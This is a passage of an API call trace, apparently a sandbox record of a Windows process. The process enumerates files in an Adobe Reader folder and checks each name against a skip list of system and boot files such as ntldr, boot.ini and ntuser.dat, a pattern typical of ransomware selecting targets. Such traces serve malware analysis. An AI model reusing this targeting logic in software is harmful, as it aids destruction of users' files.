lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16a0398, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2=".") returned 1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="..") returned 1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="...") returned 1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="windows") returned -1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="rsa") returned -1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="NTDETECT.COM") returned -1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="ntldr") returned -1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="MSDOS.SYS") returned -1 [0170.162] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="IO.SYS") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="boot.ini") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="boot.ini") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="ntuser.dat") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="desktop.ini") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="CONFIG.SYS") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="RECYCLER") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="bootmgr") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="programdata") returned -1 [0170.170] lstrcmpiW (lpString1="AcroRd32.dll", lpString2="appdata") returned -1 [0170.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32.dll", lpUsedDefaultChar=0x0) returned 12 [0170.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32.dll", lpUsedDefaultChar=0x0) returned 12 [0170.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32.dll", lpUsedDefaultChar=0x0) returned 12 [0170.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32.dll", lpUsedDefaultChar=0x0) returned 12 [0170.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0170.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0170.173] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13ad98, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2=".") returned 1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="..") returned 1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="...") returned 1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="windows") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="$RECYCLE.BIN") returned 1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="rsa") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="NTDETECT.COM") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="ntldr") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="MSDOS.SYS") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="IO.SYS") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="boot.ini") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="boot.ini") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="AUTOEXEC.BAT") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="ntuser.dat") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="desktop.ini") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="CONFIG.SYS") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="RECYCLER") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="BOOTSECT.BAK") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="bootmgr") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="programdata") returned -1 [0170.173] lstrcmpiW (lpString1="AcroRd32.exe", lpString2="appdata") returned -1 [0170.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32.exe", lpUsedDefaultChar=0x0) returned 12 [0170.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32.exe", lpUsedDefaultChar=0x0) returned 12 [0170.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32.exe", lpUsedDefaultChar=0x0) returned 12 [0170.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32.exe", lpUsedDefaultChar=0x0) returned 12 [0170.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0170.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.175] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45a0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AcroRd32Info.exe", cAlternateFileName="ACRORD~1.EXE")) returned 1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2=".") returned 1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="..") returned 1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="...") returned 1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="windows") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="$RECYCLE.BIN") returned 1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="rsa") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="NTDETECT.COM") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="ntldr") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="MSDOS.SYS") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="IO.SYS") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="boot.ini") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="boot.ini") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="AUTOEXEC.BAT") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="ntuser.dat") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="desktop.ini") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="CONFIG.SYS") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="RECYCLER") returned -1 [0170.175] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="BOOTSECT.BAK") returned -1 [0170.176] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="bootmgr") returned -1 [0170.176] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="programdata") returned -1 [0170.176] lstrcmpiW (lpString1="AcroRd32Info.exe", lpString2="appdata") returned -1 [0170.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0170.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32Info.exe", lpUsedDefaultChar=0x0) returned 16 [0170.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0170.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0170.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32Info.exe", lpUsedDefaultChar=0x0) returned 16 [0170.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0170.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0170.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32Info.exe", lpUsedDefaultChar=0x0) returned 16 [0170.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0170.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32Info.exe", lpUsedDefaultChar=0x0) returned 16 [0170.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0170.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.176] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AcroTextExtractor.exe", cAlternateFileName="ACROTE~1.EXE")) returned 1 [0170.176] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2=".") returned 1 [0170.176] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="..") returned 1 [0170.176] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="...") returned 1 [0170.176] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="windows") returned -1 [0170.176] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="$RECYCLE.BIN") returned 1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="rsa") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="NTDETECT.COM") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="ntldr") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="MSDOS.SYS") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="IO.SYS") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="boot.ini") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="boot.ini") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="AUTOEXEC.BAT") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="ntuser.dat") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="desktop.ini") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="CONFIG.SYS") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="RECYCLER") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="BOOTSECT.BAK") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="bootmgr") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="programdata") returned -1 [0170.177] lstrcmpiW (lpString1="AcroTextExtractor.exe", lpString2="appdata") returned -1 [0170.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0170.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroTextExtractor.exe", lpUsedDefaultChar=0x0) returned 21 [0170.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0170.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0170.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroTextExtractor.exe", lpUsedDefaultChar=0x0) returned 21 [0170.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0170.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0170.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroTextExtractor.exe", lpUsedDefaultChar=0x0) returned 21 [0170.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0170.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroTextExtractor.exe", lpUsedDefaultChar=0x0) returned 21 [0170.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.178] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="ADOBER~1.MAN")) returned 1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2=".") returned 1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="..") returned 1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="...") returned 1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="windows") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="$RECYCLE.BIN") returned 1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="rsa") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="NTDETECT.COM") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="ntldr") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="MSDOS.SYS") returned -1 [0170.178] lstrcmpiW 